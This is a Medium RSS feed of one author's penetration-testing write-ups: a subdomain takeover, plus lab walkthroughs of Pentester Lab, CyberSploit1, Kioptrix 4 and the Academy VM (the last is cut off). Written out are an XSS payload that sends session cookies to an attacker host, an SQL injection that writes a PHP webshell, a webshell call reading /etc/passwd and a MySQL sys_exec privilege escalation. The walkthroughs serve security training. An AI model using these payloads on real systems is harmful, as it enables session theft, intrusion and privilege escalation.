<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rishabh Karn on Medium]]></title>
        <description><![CDATA[Stories by Rishabh Karn on Medium]]></description>
        <link>https://medium.com/@karnrishabh25?source=rss-b043a332ef36------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-w-vPt9bfNR8lRRrvarXQA.jpeg</url>
            <title>Stories by Rishabh Karn on Medium</title>
            <link>https://medium.com/@karnrishabh25?source=rss-b043a332ef36------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 13:04:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@karnrishabh25/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Was Able to Perform a Subdomain Takeover Attack]]></title>
            <link>https://medium.com/@karnrishabh25/subdomain-takeover-00d2c5599715?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/00d2c5599715</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[attack]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Wed, 15 May 2024 09:59:43 GMT</pubDate>
            <atom:updated>2024-05-15T10:22:15.436Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Hackers,</p><p>In this story, I will explain the approach to my first successful subdomain takeover attack.</p><h4>Choose a Target</h4><p>Defining a target is very much necessary if we want to continue the further process. We can find a potential target using Google Dorking or through bug-hunting platforms such as <a href="https://www.bugcrowd.com/"><strong>bugcrowd</strong></a> or <a href="https://www.hackerone.com/"><strong>hackerone</strong></a>.</p><blockquote>I found a target using google dorking.</blockquote><blockquote>Dork I used: site:*.com intitile:vulnerability disclosure program</blockquote><h4>Subdomain Enumeration</h4><p>Now it’s the time to increase our attack surface. More subdomains mean more opportunities.</p><p>To do subdomain enumeration there are multiple tools you can use. Let me give a list of the tools that I generally use.</p><ol><li><a href="https://github.com/TheRook/subbrute">Subbrute</a></li><li><a href="https://www.kali.org/tools/sublist3r/">Sublist3r</a></li><li><a href="https://www.kali.org/tools/subfinder/">Subfinder</a></li><li><a href="https://www.kali.org/tools/altdns/">Altdns</a></li></ol><p>With the help of these tools, we will have subdomains belonging to that particular domain.</p><blockquote>Using subfinder tool, I found all the subdomains. There was 38 listed subdomains.</blockquote><p>But are all subdomains active and alive?</p><h4>Checking HTTP Status</h4><p>With the list of subdomains now we can check their HTTP status, whether they are alive or not. We can follow the redirection and based on the result we can filter the subdomains.</p><p><a href="https://httpstatus.io/">httpstatus.io</a> can be used for this purpose.</p><blockquote>I was able to narrow down my attack surface to 14 subdomains.</blockquote><h4>Checking for 404</h4><p>For this step, we have to keep in mind these two things:</p><ul><li>Find all the subdomains that point to third-party</li><li>Make sure that the subdomain is inactive or removed</li></ul><p>If these two criteria are fulfilled then we can proceed further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*1fLisQt66StpIdiY50XGYg.png" /></figure><h4>Subdomain Takeover</h4><p>In my case, I found an inactive test page. This was an alias for a GitHub page. Then I checked for the alias, this subdomain was pointing to.</p><p>Using the host command I got it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*BOcvPRm8Le8rzKgTBv_y4g.png" /></figure><p>All the enumeration part is done and now it is very simple. We only need to create a GitHub repository the same as the alias name and host it using GitHub pages. Then we just need to add the subdomain in the custom domain part.</p><p>Here we go…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*LueiaHBZZcT0TUhEhZXT7Q.png" /></figure><h4>Concept Behind Hostile Subdomain Takeover</h4><p>Suppose A is the organization and B is the attacker.</p><p>A purchased a domain service with the name business.com</p><p>They have created multiple subdomains such as</p><p>test.business.com</p><p>info.business.com</p><p>support.business.com etc</p><p>They have created a cname record in the domain panel and pointed their subdomain <strong><em>test.business.com</em></strong> to a GitHub page called <strong><em>business.github.io</em></strong></p><p>This subdomain is only for testing purposes.</p><p>Everything is going well and now they are live and don’t want a test page so they have simply deleted their GitHub page which was linked with test.business.com in the cname record.</p><p>The page is deleted but it is still pointing to the GitHub (3rd party service)</p><p>Now If attacker B figures it out and creates a GitHub page with the same name then they will be able to takeover the subdomain as in the cname record it is still pointing to the GitHub services.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00d2c5599715" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pentester Lab: XSS and MYSQL File]]></title>
            <link>https://medium.com/@karnrishabh25/pentester-lab-xss-and-mysql-file-d7a288102994?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7a288102994</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[sql]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Fri, 26 Apr 2024 04:34:16 GMT</pubDate>
            <atom:updated>2024-04-26T04:45:41.362Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*0tCgmoPwmPk__U6Cak8swQ.png" /></figure><p>Hey,</p><p>This machine is based on the exploitation of XSS vulnerabilities and SQL injection file upload vulnerability.</p><h3><strong>Nmap</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*P4bVglUEbP7vvCsehTk63w.png" /></figure><p>Port 22 and 80 are open. Let’s enumerate port 80</p><h4>Port 80</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*03YAzIeZShv7d1v7oQX4Uw.png" /></figure><p>It’s a kind of simple blog page and also has an admin login option</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*W8h2vyD8r3g309D8y_XaUg.png" /></figure><p>I have tried SQL injection to bypass the login but <strong>FAILED!!</strong></p><p>Let’s try to check for XSS vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*U7pkJi2B_PACpvQ3DLGbUw.png" /></figure><p>Just injected a simple script and guess what… It is vulnerable to <strong>stored XSS.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ZDbGvih-p8wg6_JfzoE6AQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*Dy_s06aLJlE6EXgRDDP6yQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*wceyk1MnyM5-2IAPz9j4PQ.png" /></figure><p>We got the cookie of the current session but can we get the cookie of the admin?</p><p>Let’s try.</p><p>Here’s our Python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6N21r-5UfkmE2TCEo9LudQ.png" /></figure><p><strong><em>&lt;script&gt;document.write(‘&lt;img src=”http://Your_IP/?&#39;+document.cookie+&#39; “/&gt;’);&lt;/script&gt;</em></strong></p><p>Paste this payload in the comment section. Don’t forget to add your IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*Muh_dJGUplFxSjHbQ0kfbA.png" /></figure><p>We have something. Let’s try to manipulate the cookies. For this, we will go to the developer tools and there we will change the value of cookies.</p><p>In the case of firefox browser, go to the storage section and there you will see cookies. Just change there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*ERBcUYQJ4P84iM_oJuFy5w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Ba35BF_2rPwuiHZTHYURTA.png" /></figure><p>We are admin. But we want to get a shell.</p><p>Let’s enumerate more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*O3C0Saoup1OfLwMrlI_DLg.png" /></figure><p>We can break the sql query as it is responding back. We can see that the absolute path is /var/www/</p><p>We need to know the number of columns so let’s do hit and trial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*PuuNJaBtlLNiin4SBXLLgw.png" /></figure><p>Payload: <strong>order by 5 —</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*wQk3yVBAFqqWqu3gH8mqiA.png" /></figure><p>It’s giving an error. So there must be less or greater number of columns than 5</p><p>Payload: <strong>order by 4 —</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*p12B8fi6Gp77m0VhfVxzmA.png" /></figure><p>No error. It means there are 4 columns.</p><p>Get the user.</p><p>Payload: <strong>UNION SELECT 1,2,user(),4</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*zYTk6vBWAtUmkvs7JYq_oQ.png" /></figure><p><em>If you are not able to understand what these payloads are all about then I highly recommend you to get some hands-on with SQL injection labs on portswigger or any other suitable platform.</em></p><p>So we are root. Can we upload our script? Just recall we have /var/www/ as an absolute path.</p><p>Can we take a webshell?</p><p><a href="http://192.168.189.132/admin/edit.php?id=0"><strong>http://192.168.189.132/admin/edit.php?id=0</strong></a><strong> UNION select 1,2,”&lt;?php system($_GET[‘c’]); ?&gt;”,4 into outfile “/var/www/css/webshell.php”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*yMZR-RDGuyzLWqRqTAF0kw.png" /></figure><p>Verify if we have webshell or not…</p><p><a href="http://192.168.189.132/css/webshell.php?c=cat"><strong>http://192.168.189.132/css/webshell.php?c=cat</strong></a><strong> /etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*1-RmuyvyuzHpBMACQwEw6g.png" /></figure><p>Yes, we can see /etc/passwd file.</p><p>Now we have a user with the username “user”</p><p>Remember we have SSH port open.</p><p>Let’s brute-force the password using Hydra. It was giving some errors but I was able to get the password after a few attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*kU24y54m9afv86I23hYMyQ.png" /></figure><p><strong>SSH Login</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pgz_Bm9Qyeew5JLsFQr6Bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ie4SigUm1UdIT_4F_JLTfw.png" /></figure><p><strong>Done!!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7a288102994" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSploit1 Walkthrough: Off-Sec Playground]]></title>
            <link>https://medium.com/@karnrishabh25/cybersploit1-walkthrough-oscp-preparation-37d111b6ad48?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/37d111b6ad48</guid>
            <category><![CDATA[cybersploit]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Wed, 24 Apr 2024 08:44:08 GMT</pubDate>
            <atom:updated>2024-04-24T10:47:03.740Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*UaU6Nk6Z3SpWnOPysJu0Bg.png" /></figure><p>You can access this machine on vulnhub as well as on offsec playground.</p><h3>1. Scanning</h3><h4>1.1 Nmap</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*av5DAqymzMpCIZveoIveOA.png" /></figure><p><strong>Port 80</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQKwObh3nbhwFkbQ9srORQ.png" /></figure><p>Let’s check the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*IjoRbnUql4W0qmJ7Pq3I_w.png" /></figure><p>We have a username. Keep a note of this.. it can be interesting.</p><h4>1.2 Nikto</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*3h4XTD6srA75yXvtQ98Wrg.png" /></figure><p>Apache is outdated. Let’s check for the public exploits.</p><p>There are but not useful.</p><h4>1.3 Directory Busting</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_5xhlapKLNbZtcbyudh6sg.png" /></figure><p>Let’s check each page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*LnNej0dQHhpOaFMxnS_3PQ.png" /></figure><p>So we have a base64 hash.</p><p>Let’s get the plain text it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*Rt5uSL9EpmKF7o-xgxuUFg.png" /></figure><p>Now, we have a username and something that we got after converting base64 to plain text.</p><p>Can it be a password?</p><p>SSH port is open right?</p><p>Let’s do it.</p><h3>2. Initial Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*ANrwyf10DQo-IkMyerzSow.png" /></figure><p>We have the initial access. Let’s get the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*sgMSXdTqS48sQvTAHOp-1g.png" /></figure><p>Let’s do some enumeration.</p><p>sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*oIWYbDxx1p2OMuwZmmWElQ.png" /></figure><p>Okay!!</p><p>uname -a</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MNQiRbYok3WwqtRnE019g.png" /></figure><p>We have the kernel version. Let’s check if we can exploit it.</p><p>Just search the kernel version on google and you will find the exploit on platforms such as exploit-db.</p><h3>3. Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8nUfkau-KQThoi188H2l5w.png" /></figure><p>Now we need to execute this script on the victim machine.</p><ol><li>Copy the code.</li><li>Open a text editor and paste it there.</li><li>Compile the code: <strong>gcc input.c -o output</strong></li><li>Run the output: ./output</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*MaWaJsN_He0akNnn-M3Xwg.png" /></figure><p>Done!!</p><p>There can be multiple approaches to exploit and it is one of them.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37d111b6ad48" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix Level -1.3 (#4)]]></title>
            <link>https://medium.com/@karnrishabh25/kioptrix-level-1-3-4-d79b5c4004e9?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/d79b5c4004e9</guid>
            <category><![CDATA[privilege]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kioptrix]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Fri, 19 Apr 2024 04:56:32 GMT</pubDate>
            <atom:updated>2024-04-19T05:21:59.731Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*Ltknm01MBJJEuPTS8UyR7A.png" /></figure><h4><strong>1. Setting up the Environment</strong></h4><p><strong>1.1 Download kioptrix: </strong><a href="https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar"><strong>Link</strong></a></p><p><strong>1.2 Create a new virtual machine (Vmware Workstation)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*vsSnt5ja0PrLh1lm-C9fLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*Si5jphwaYmZ76ua6HaqBAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*JGOyGf1Zgq7nHtcEaYzMwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*qc4JW5Cz25KliE9TGCAIBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*GcidsiuHLlIqREufMK5JxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*BGxnQ85_2mvT_k3V8S7Lbg.png" /></figure><p>Choose these options, and rest will be default only.</p><h4><strong>2. Scanning</strong></h4><p><strong>2.1 Identify the IP address of target machine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*PBQoM1BHagEhcK8uUjQw5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*R1neKpbmyjqhXxILOtBa-w.png" /></figure><p><strong>Target IP: 192.168.87.164</strong></p><p><strong>2.2 Nmap Scan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*xN6FhTvnteteQCHcf6dWbw.png" /></figure><p><strong>2.2.1 Port 80</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*rzoDW1h8jsTa00KFpILOMg.png" /></figure><p><strong><em>Let’s try some default credentials</em></strong></p><p><strong><em>Admin-admin, admin-admin123, admin-password, admin-password123, root-root, root-123</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*U_PXOBieAFFykAX-w6h4Lw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*_pMW_0TGBBPEuTBkf3SWJQ.png" /></figure><p><strong><em>Let’s attempt sql injection</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*7UnEGmAOcjg92DogASV7pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*Moz77Mx6q_g0SJ8k0k2QBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*VB8ylcrRMIGEt76fNFIWyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*OWE2FSO6Vm1nZR4a6rWpNw.png" /></figure><p><strong><em>It is vulnerable to SQL injection but we need to get the right username.</em></strong></p><p><strong>Let’s check the source code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*BdAu66upnfEXFb6d-0F_Yw.png" /></figure><p><strong>Nothing Much !!</strong></p><p><strong>Just remember the endpoint of this form: <em>checklogin.php</em></strong></p><p><strong>2.3 Nikto Scan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*zbbi2gzX-FPOnrWoSGDstA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*tsJ2XGxRifepXUtgUcHdAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*zLDBQfq8OnVs0lmqTcc9Ig.png" /></figure><p><strong>2.3.1 /database.sql</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*2Y6o2w5HgAztMCx5z2ncpw.png" /></figure><p><strong><em>Let’s try to login with this credentials</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*Fb1x-72OEpwvfE0PXp0NRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*hqsOvGRxwAWTgRGB0xiYWw.png" /></figure><p><strong>Bad Luck!!</strong></p><h4><strong>3. Gaining Access</strong></h4><p>But we can assume that there might be a user with a ‘john’ username.</p><p>Let’s try to bypass the login with the ‘john’ username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*iLN82PTe-xOF3T1VELJ67g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ojirVHxpW-iPsDYi740vaw.png" /></figure><p><strong>We have bypassed the login!!</strong></p><p><strong>Payload Used: 1&#39; or ‘1’ = ‘1</strong></p><p><strong><em>SSH Port was open right? Let’s try to log in via SSH</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nBYW7IrkO1y9OhWzDen0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*WgSIYBtjht-4hmvKU94-Tg.png" /></figure><p><strong>Strange Error</strong></p><p><strong>Let’s find the solution</strong></p><p><strong>Error Reason: </strong>In this case, the client and server were unable to agree on the key exchange algorithm. The server offered only a single method diffie-hellman-group1-sha1. OpenSSH supports this method but does not enable it by default because it is weak.</p><p>Source: <a href="http://www.openssh.com/legacy.html">http://www.openssh.com/legacy.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7b56FhlW7pyf-SjJ8XZKBg.png" /></figure><p>We are connected but we have access to limited commands. Let’s try to get access to the complete shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*bNgg1yNCIjGFMUEpahgAjQ.png" /></figure><p><strong>That’s Great!!</strong></p><h4><strong>4. Privilege Escalation</strong></h4><p><strong>4.1 linpeas.sh</strong></p><p>Let’s scan the misconfiguration using <a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS"><strong>linpeas</strong></a></p><p><strong><em>Let’s host our script</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*l7pj_QZnyoEVPAejHZ3gRA.png" /></figure><p><strong><em>It’s time to download the script on the target machine</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnaz82KH66MEDHftbo1fBA.png" /></figure><p><strong><em>Let’s give it executable permission and execute this</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*n5NJJJVKIZul6gvfD80n8A.png" /></figure><p><strong><em>Now we have to check every indication of misconfiguration given by linpeas</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*TwWWHQ5dzBHmc8pLnVg7Kw.png" /></figure><p><strong><em>/var/www/checklogin.php (remember it? it is the endpoint of the login form submission)</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*y8HN8_AKTyF-vpdE2c570A.png" /></figure><p><strong><em>Let’s log in to MySQL using this credentials</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*KhZ-YUql4ZWtQX189Dm9pg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*GJ3PXMp2hcXyVIQNIrlzdg.png" /></figure><p><strong><em>There is one other user with the username “robert”</em></strong></p><p>Some more interesting files!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*kK9hMCaMxdtLIY4BMmwNSA.png" /></figure><h4><strong>4.2 Linux Exploit Suggester</strong></h4><p>Copy the script from <a href="https://raw.githubusercontent.com/sneakymonk3y/linux-exploit-suggester/master/linux-exploit-suggester.sh"><strong>here</strong></a><strong> </strong>and host it on the python server and then download it on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UKJmWFWLZarxLE2s8ocviw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8LNfVyTXk9Jeo8MB3yUoRg.png" /></figure><p><strong><em>Got some CVE and publicly available exploits, but not succeeded.</em></strong></p><p><strong>4.3 User John can access /root</strong></p><p>It was just a hit and I saw that john can navigate to /root folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*2q3sTTntL1XACf2nFKe2cg.png" /></figure><p><strong><em>We have the flag but still the privilege is not escalated to root.</em></strong></p><p><strong>4.3 Abusing MySQL process</strong></p><p>Let’s check the running process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*aPd1kVIjJL1rEFNiz55zfQ.png" /></figure><p>Here we can see that MySQL is running as root and remember that we have already logged in as root to MySQL so there are some possibilities to abuse that.</p><p><strong><em>Login to MySQL</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*fGjOmYAVTPZcvp7qSc1rIg.png" /></figure><p><em>select sys_exec(‘usermod -a -G admin john’);</em></p><p>It is a system command. Let’s bifurcate each options.</p><p>usermod: It modifies the user’s account properties.</p><ul><li>-a: It added user to a specified group without removing them from their existing group.</li><li>-G: It takes the group name as the parameter. In this case, admin is the group name in which we are adding ‘john’</li></ul><p>So basically we are adding john to the admin group and root is also a part of that group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*PbKpotHseImx51Lk2FVryA.png" /></figure><p><strong>Done!!</strong></p><p>There can be other ways to escalate the privilege. Feel free to explore and share.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d79b5c4004e9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting The Vulnerabilities: Hacking into Academy Machine]]></title>
            <link>https://medium.com/@karnrishabh25/hacking-academy-machine-1270732b0828?source=rss-b043a332ef36------2</link>
            <guid isPermaLink="false">https://medium.com/p/1270732b0828</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[systemhaus]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Rishabh Karn]]></dc:creator>
            <pubDate>Sun, 17 Mar 2024 18:15:30 GMT</pubDate>
            <atom:updated>2024-03-18T14:20:30.477Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*w0WYKS7n1a2w2wuxo19hhg.png" /></figure><p>Hey Hackers,</p><p>If you have an understanding of the system hacking lifecycle and already know about some tools and techniques then you are good to go!!</p><p>There is a vulnerable machine called “Academy” and we need to get root access to this machine. It was part of a YouTube video course by “<a href="https://www.youtube.com/@TCMSecurityAcademy"><strong>The Cyber Mentor</strong></a>”</p><h3>Configure the machine</h3><p>Download the machine <a href="https://drive.google.com/drive/folders/1VXEuyySgzsSo-MYmyCareTnJ5rAeVKeH"><strong>here</strong></a></p><p>Configure it into a virtual machine either in Vmware or Virtual box. I hope you can do it, if not then this story is not for you.</p><h3>Get the IP address</h3><p>As we will be targeting the “Academy” machine we need the IP address. Let’s cheat a little bit and get the IP address.</p><p>Start the machine and log in with the following credentials.</p><p>Username: root</p><p>Password: tcm</p><p>Although we already have the root credentials but it is just to get the IP address. Note the IP address and forget that you have any credentials.</p><p>To get the IP address run the following commands:</p><p>dhclient</p><p>ip a</p><p>Now the real hacking begins…</p><h3>Scanning</h3><p>Scan the IP address using NMAP.</p><p>You can use the following command otherwise you can use your own parameters.</p><pre>nmap -A -sV &lt;target_ip_address&gt;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*GxLJR5UjAkef5xPS8l9cRQ.png" /></figure><p>Let’s make a note.</p><p>Open Ports and running service:</p><p>21 — FTP</p><p>22 — SSH</p><p>80 — HTTP</p><p>In FTP, you can see that an anonymous login is allowed. I hope you already know about this.</p><p>Let’s log in to FTP as anonymous. To do that use “anonymous” as username as password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*PnxRTpvLOeEbE6qh-0kjtA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STWNU9od1JDoa5Y-52lHww.png" /></figure><p>The login is successful, now let’s see what is inside. By listing the files you can see there is a txt file called “note.txt”</p><p>Let’s download that.</p><p>Now, read the file as you want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3drY_AXVRioj8lFoVRcGVg.png" /></figure><p>So, there are some interesting stuff. You can see login credentials to their web portal. Are you getting something? Port 80 is also open so there must be a website.</p><p>Let’s go ahead and check the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W2peq1E1Mm8YeFHkkdohRw.png" /></figure><p>It’s a default apache server webpage. But there can be some hidden directories, right?</p><p>Let’s dig deeper!!</p><p>You can use any website enumeration tool.</p><p>In this story, I am going to use ffuf tool.</p><pre>ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:FUZZ -u http://192.168.232.146/FUZZ</pre><p>You will get some interesting paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKaSAUar9qdbHlehJ-DxEQ.png" /></figure><p>As mentioned in the “note.txt” there should be a web portal for the academy and this could be our good-to-go process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x3RcO6dDhYBoRtrUS1awRQ.png" /></figure><p>BOOM!!</p><p>We are on the portal. Now we need a registration number and password. Are you able to recall something?</p><p>That note.txt and some SQL queries…</p><p>But in that file password is hashed and you need to crack it down I hope you can do it. You may use john-the-ripper, hashcat, or any online tool such as crackstation.net</p><p>After getting a successful login, explore the portal.</p><p>Hint 1: Can you do something that will give you any kind of shell access to the machine?</p><p>Hint 2: Is there any filed where you can submit a malicious file?</p><p>Found it?</p><p>If yes, then great and if not, let me tell you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WC6bXUUhQxBhizIVbPXIig.png" /></figure><p>Navigate to my profile page and guess what you can upload a file here.</p><p>Now, what should you upload? An image file, right?</p><p>:)</p><p>Don’t do that, we are here to gain the access of the machine.</p><p>Let’s do that.</p><p>Have you ever heard about <a href="https://www.imperva.com/learn/application-security/reverse-shell/"><strong>reverse shell </strong></a>access?</p><p>If not then get a brief idea about it and only after that continue with this story.</p><p>So basically, in the reverse shell, the target machine will initiate the connection and the attacker machine will grab the request.</p><p>Now, you will have to generate a reverse shell script and upload that file there and meanwhile, you will also need to listen to the incoming request.</p><h3>Gaining Access</h3><p>There can be multiple types of scripts to do this task but we are only focused on reverse shell for PHP as the portal is based on PHP.</p><p>You can find the script on the github or do one 